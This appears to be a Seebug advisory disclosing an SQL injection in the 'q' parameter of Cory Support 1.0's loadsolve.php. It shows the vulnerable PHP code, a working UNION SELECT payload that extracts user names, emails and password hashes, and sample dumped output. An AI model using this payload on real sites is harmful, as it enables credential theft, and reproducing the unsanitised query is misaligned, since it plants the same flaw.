Cory Support "q" SQL注入漏洞

2014-03-04T00:00:00
ID SSV:61633
Type seebug
Reporter Root
Modified 2014-03-04T00:00:00

Description

Cory Support是一款PHP应用。

由于通过"q" GET参数传递到loadsolve.php的输入在被用于SQL查询前未能正确过滤,攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。 0 Cory Support 1.0 目前厂商暂无提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://coryapp.com/page.php?id=1

                                        
                                            
                                                // GET MySQL Injection with "q" Parameter in /loadsolve.php

1 : <?php
2 : require_once('includes/config.php');
3 : require_once('includes/database.php');
4 : $sql = "select Solutions, ProblemID from
".$table_prefix."problemsolutions where ProblemID = '".$_GET['q']."'
limit 3";
5 : $qry = mysql_query($sql);
6 : if(mysql_num_rows($qry)>0){
7 :  while($rows = mysql_fetch_array($qry)){
8 :    echo '<img src="'.$base_url.'imgs/re.gif"
style="margin-left:3%"/>'.stripslashes($rows['Solutions']).'<br>';
9 :    }
10 :  echo  '<p style="margin:0px; padding:0px; margin-left:3%">. .
.</p><a href="'.$base_url.'view.php?id='.$_GET['q'].'"><small><i>View
more</i></small></a>';
11 :  }
12 : else echo '<i>Not have answer !</i>';
13 : mysql_close();
14 : ?>

In line 3 coder failed to secure the "q" Parameter Against (MySQL
Injection) using q parameter

(1) Under "q" set your GET Parameter q to "999999.9' union all select
(select concat(0x27%2C0x7e%2Cunhex(Hex(cast(sp_users.UserID as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Name as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Email as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.Password as
char)))%2C0x5e%2Cunhex(Hex(cast(sp_users.UserGroup as
char)))%2C0x27%2C0x7e) from `DATABASE NAME HERE`.sp_users limit 5%2C1)
%2C0x31303235343830303536 and 'x'%3D'x" (without quotation marks)



The "q" GET MySQL injection will be executed for the MySQL Server From
browser (You'll see the info like
'~6^admin^slotleet@gmail.com^e10adc3949ba59abbe56e057f20f883e^3'~)